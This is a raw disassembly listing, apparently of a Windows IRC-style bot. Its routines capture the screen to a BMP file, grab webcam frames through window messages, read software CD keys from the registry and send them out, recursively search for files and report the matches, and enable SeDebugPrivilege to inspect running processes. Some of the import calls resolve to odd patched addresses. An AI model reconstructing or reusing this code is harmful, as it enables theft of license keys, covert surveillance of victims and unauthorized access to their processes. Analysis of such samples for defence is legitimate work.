		jz	loc_4087D7
		push	eax
		push	[ebp+var_4]
		call	dword_43F544
		cmp	eax, esi
		jz	loc_4087D7
		cmp	eax, 0FFFFFFFFh
		jz	loc_4087D7
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_43F6B0
		test	eax, eax
		jz	loc_4087D7
		cmp	ebx, esi
		jz	short loc_4086D4
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_43F598
		mov	ebx, eax

loc_4086D4:				; CODE XREF: sub_4085B3+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	near ptr 2650975h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4087B7
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 2640000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		cmp	ebx, esi
		jz	short loc_408799
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h

loc_408799:				; CODE XREF: sub_4085B3+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		push	[ebp+arg_0]
		nop
		call	near ptr 26309DCh
		push	1
		pop	esi

loc_4087B7:				; CODE XREF: sub_4085B3+1A2j
		push	[ebp+var_1C]
		call	dword_43F5CC
		push	[ebp+var_4]
		call	dword_43F530
		mov	edi, [ebp+var_20]

loc_4087CC:				; CODE XREF: sub_4085B3+70j
		push	edi
		call	dword_43F530
		mov	eax, esi
		jmp	short loc_4087E9
; ---------------------------------------------------------------------------

loc_4087D7:				; CODE XREF: sub_4085B3+C7j
					; sub_4085B3+D9j ...
		push	edi
		call	dword_43F530
		push	[ebp+var_4]
		call	dword_43F530

loc_4087E7:				; CODE XREF: sub_4085B3+23j
		xor	eax, eax

loc_4087E9:				; CODE XREF: sub_4085B3+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4085B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087EE	proc near		; CODE XREF: sub_40EE72+46EDp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_43E100
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43F5C0
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_40882C
		mov	eax, esi
		jmp	loc_4089E2
; ---------------------------------------------------------------------------

loc_40882C:				; CODE XREF: sub_4087EE+35j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408849
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43F6C4
		jmp	short loc_40884B
; ---------------------------------------------------------------------------

loc_408849:				; CODE XREF: sub_4087EE+47j
		xor	eax, eax

loc_40884B:				; CODE XREF: sub_4087EE+59j
		cmp	eax, ebx
		jnz	short loc_408856

loc_40884F:				; CODE XREF: sub_4087EE+88j
					; sub_4087EE+BCj
		mov	ebx, esi
		jmp	loc_4089D7
; ---------------------------------------------------------------------------

loc_408856:				; CODE XREF: sub_4087EE+5Fj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408873
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43F6C4

loc_408873:				; CODE XREF: sub_4087EE+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_40884F
		push	edi
		call	dword_43F608
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_408899
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4
		mov	[ebp+arg_4], eax
		jmp	short loc_40889C
; ---------------------------------------------------------------------------

loc_408899:				; CODE XREF: sub_4087EE+98j
		mov	[ebp+arg_4], ebx

loc_40889C:				; CODE XREF: sub_4087EE+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_40884F
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4088C3
		push	1
		pop	ebx
		jmp	loc_4089D7
; ---------------------------------------------------------------------------

loc_4088C3:				; CODE XREF: sub_4087EE+CBj
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_4088E0
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4

loc_4088E0:				; CODE XREF: sub_4087EE+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4088FB
		mov	ecx, 280h

loc_4088FB:				; CODE XREF: sub_4087EE+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_408907
		mov	eax, 1E0h

loc_408907:				; CODE XREF: sub_4087EE+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43F608
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_408951
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4

loc_408951:				; CODE XREF: sub_4087EE+153j
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_40896E
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_43F6C4

loc_40896E:				; CODE XREF: sub_4087EE+16Ej
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_40898D
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_43F6C4

loc_40898D:				; CODE XREF: sub_4087EE+18Bj
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_4089AA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43F6C4

loc_4089AA:				; CODE XREF: sub_4087EE+1AAj
		push	[ebp+var_8]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F608
		test	eax, eax
		jz	short loc_4089D7
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_43F6C4

loc_4089D7:				; CODE XREF: sub_4087EE+63j
					; sub_4087EE+D0j ...
		push	[ebp+var_4]
		call	dword_43F718
		mov	eax, ebx

loc_4089E2:				; CODE XREF: sub_4087EE+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4087EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4089E7	proc near		; CODE XREF: sub_40EE72+47A6p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_43E100
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43F5C0
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_408A25
		mov	eax, esi
		jmp	loc_408C21
; ---------------------------------------------------------------------------

loc_408A25:				; CODE XREF: sub_4089E7+35j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408A42
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43F6C4
		jmp	short loc_408A44
; ---------------------------------------------------------------------------

loc_408A42:				; CODE XREF: sub_4089E7+47j
		xor	eax, eax

loc_408A44:				; CODE XREF: sub_4089E7+59j
		cmp	eax, ebx
		jnz	short loc_408A4F

loc_408A48:				; CODE XREF: sub_4089E7+8Bj
					; sub_4089E7+BCj
		mov	ebx, esi
		jmp	loc_408C18
; ---------------------------------------------------------------------------

loc_408A4F:				; CODE XREF: sub_4089E7+5Fj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408A6F
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43F6C4

loc_408A6F:				; CODE XREF: sub_4089E7+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_408A48
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408A92
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_43F6C4
		mov	[ebp+arg_4], eax
		jmp	short loc_408A95
; ---------------------------------------------------------------------------

loc_408A92:				; CODE XREF: sub_4089E7+96j
		mov	[ebp+arg_4], ebx

loc_408A95:				; CODE XREF: sub_4089E7+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_408A48
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_408ABC
		push	1
		pop	ebx
		jmp	loc_408C18
; ---------------------------------------------------------------------------

loc_408ABC:				; CODE XREF: sub_4089E7+CBj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408AD9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_43F6C4

loc_408AD9:				; CODE XREF: sub_4089E7+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_408AF4
		mov	ecx, 0A0h

loc_408AF4:				; CODE XREF: sub_4089E7+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_408AFE
		push	78h
		pop	eax

loc_408AFE:				; CODE XREF: sub_4089E7+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43F608
		test	eax, eax
		jz	short loc_408B43
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43F6C4

loc_408B43:				; CODE XREF: sub_4089E7+14Aj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408B60
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_43F6C4

loc_408B60:				; CODE XREF: sub_4089E7+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_43F608
		test	eax, eax
		jz	short loc_408B9E
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_43F6C4

loc_408B9E:				; CODE XREF: sub_4089E7+1A3j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408BB9
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_43F6C4

loc_408BB9:				; CODE XREF: sub_4089E7+1C0j
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408BD2
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_43F6C4

loc_408BD2:				; CODE XREF: sub_4089E7+1DBj
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408BEF
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43F6C4

loc_408BEF:				; CODE XREF: sub_4089E7+1F4j
		push	[ebp+var_4]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43F608
		test	eax, eax
		jz	short loc_408C18
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_43F6C4

loc_408C18:				; CODE XREF: sub_4089E7+63j
					; sub_4089E7+D0j ...
		push	edi
		call	dword_43F718
		mov	eax, ebx

loc_408C21:				; CODE XREF: sub_4089E7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4089E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C26	proc near		; CODE XREF: sub_40EE72+588Bp

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_42B894, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408DC7
		push	esi
		push	edi
		mov	eax, offset off_42B894
		mov	esi, offset dword_42B8A0
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."

loc_408C56:				; CODE XREF: sub_408C26+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_43F6D8
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_43F574
		test	eax, eax
		jnz	loc_408DAD
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_408D71
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_4179A8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408DAD
		push	eax

loc_408CCF:				; CODE XREF: sub_408C26+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41900C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408D66
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408CFC
		push	[ebp+var_8]
		jmp	short loc_408CCF
; ---------------------------------------------------------------------------

loc_408CFC:				; CODE XREF: sub_408C26+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408D2A
		lea	eax, [ebp+var_70]
		push	offset asc_42CA98 ; "="
		push	eax
		call	sub_418B6E
		push	offset asc_42CA98 ; "="
		push	ebx
		call	sub_418B6E
		add	esp, 10h
		jmp	short loc_408D2D
; ---------------------------------------------------------------------------

loc_408D2A:				; CODE XREF: sub_408C26+E4j
		lea	eax, [ebp+var_70]

loc_408D2D:				; CODE XREF: sub_408C26+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 18h

loc_408D66:				; CODE XREF: sub_408C26+B9j
		push	[ebp+var_8]
		call	sub_417900
		pop	ecx
		jmp	short loc_408DAD
; ---------------------------------------------------------------------------

loc_408D71:				; CODE XREF: sub_408C26+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 28h

loc_408DAD:				; CODE XREF: sub_408C26+60j
					; sub_408C26+A2j ...
		push	[ebp+var_4]
		call	dword_43F644
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408C56
		pop	edi
		pop	esi

loc_408DC7:				; CODE XREF: sub_408C26+19j
		pop	ebx
		leave
		retn
sub_408C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DCA	proc near		; DATA XREF: sub_40EE72+3D62o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_408E1F
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_115], bl

loc_408E1F:				; CODE XREF: sub_408DCA+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_42CAEC
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408E64
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h

loc_408E64:				; CODE XREF: sub_408DCA+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_408EE5
		add	esp, 18h
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_42CABC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_408EC5
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h

loc_408EC5:				; CODE XREF: sub_408DCA+D9j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F030Eh
		pop	edi
		pop	esi
		pop	ebx
sub_408DCA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EE5	proc near		; CODE XREF: sub_408DCA+B9p
					; sub_408EE5+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_41782A
		mov	edi, dword_4240BC
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408FA2

loc_408F31:				; CODE XREF: sub_408EE5+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408F8E
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408F55
		cmp	[ebp+var_117], 0
		jz	short loc_408F8E
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408F8E

loc_408F55:				; CODE XREF: sub_408EE5+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EE5
		add	esp, 2Ch
		mov	[ebp+arg_14], eax

loc_408F8E:				; CODE XREF: sub_408EE5+53j
					; sub_408EE5+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	near ptr 26B0000h
		nop
		test	eax, eax
		jnz	short loc_408F31

loc_408FA2:				; CODE XREF: sub_408EE5+4Aj
		push	[ebp+var_4]
		call	near ptr 26900D3h
		nop
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409028

loc_408FD9:				; CODE XREF: sub_408EE5+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	near ptr 26B0000h
		nop
		test	eax, eax
		jnz	short loc_408FD9

loc_409028:				; CODE XREF: sub_408EE5+F2j
		push	esi
		nop
		call	near ptr 26900D3h
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408EE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409037	proc near		; DATA XREF: sub_40EE72+5237o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_40B78A
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_409076
		cmp	eax, 2
		jz	short loc_409076
		push	offset unk_42CD60
		jmp	loc_4091B5
; ---------------------------------------------------------------------------

loc_409076:				; CODE XREF: sub_409037+2Ej
					; sub_409037+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091B0
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	near ptr 26F0825h
		nop
		mov	esi, dword_4240DC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_43F314, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_43F308, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_43F518, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_43F310, eax
		call	esi
		mov	dword_43F30C, eax
		call	sub_409209
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_409183
		mov	esi, dword_4240D8
		mov	edi, 400h
		mov	ebx, offset dword_43E308
		push	edi
		push	ebx
		push	offset off_42CC9C
		call	esi
		push	edi
		mov	edi, offset dword_43EB08
		push	edi
		push	offset off_42CC84
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_43F520
		push	[ebp+arg_0]
		jnz	short loc_40912F
		call	sub_409392
		jmp	short loc_409134
; ---------------------------------------------------------------------------

loc_40912F:				; CODE XREF: sub_409037+EFj
		call	sub_409539

loc_409134:				; CODE XREF: sub_409037+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40917C
		cmp	dword_43F520, 0
		jnz	short loc_409163
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_42CC0C
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		jmp	short loc_409196
; ---------------------------------------------------------------------------

loc_409163:				; CODE XREF: sub_409037+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_409173
		call	sub_40966F
		jmp	short loc_409178
; ---------------------------------------------------------------------------

loc_409173:				; CODE XREF: sub_409037+133j
		call	sub_409706

loc_409178:				; CODE XREF: sub_409037+13Aj
		pop	ecx
		push	eax
		jmp	short loc_409188
; ---------------------------------------------------------------------------

loc_40917C:				; CODE XREF: sub_409037+101j
		push	offset unk_42CBC4
		jmp	short loc_409188
; ---------------------------------------------------------------------------

loc_409183:				; CODE XREF: sub_409037+B6j
		push	offset unk_42CB80

loc_409188:				; CODE XREF: sub_409037+143j
					; sub_409037+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_409196:				; CODE XREF: sub_409037+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 26E06A8h
		pop	ebx
		jmp	short loc_4091C3
; ---------------------------------------------------------------------------

loc_4091B0:				; CODE XREF: sub_409037+4Ej
		push	offset unk_42CB3C

loc_4091B5:				; CODE XREF: sub_409037+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4091C3:				; CODE XREF: sub_409037+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4091EA
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_40D679
		add	esp, 14h

loc_4091EA:				; CODE XREF: sub_409037+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_18]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25F030Eh
		pop	edi
		pop	esi
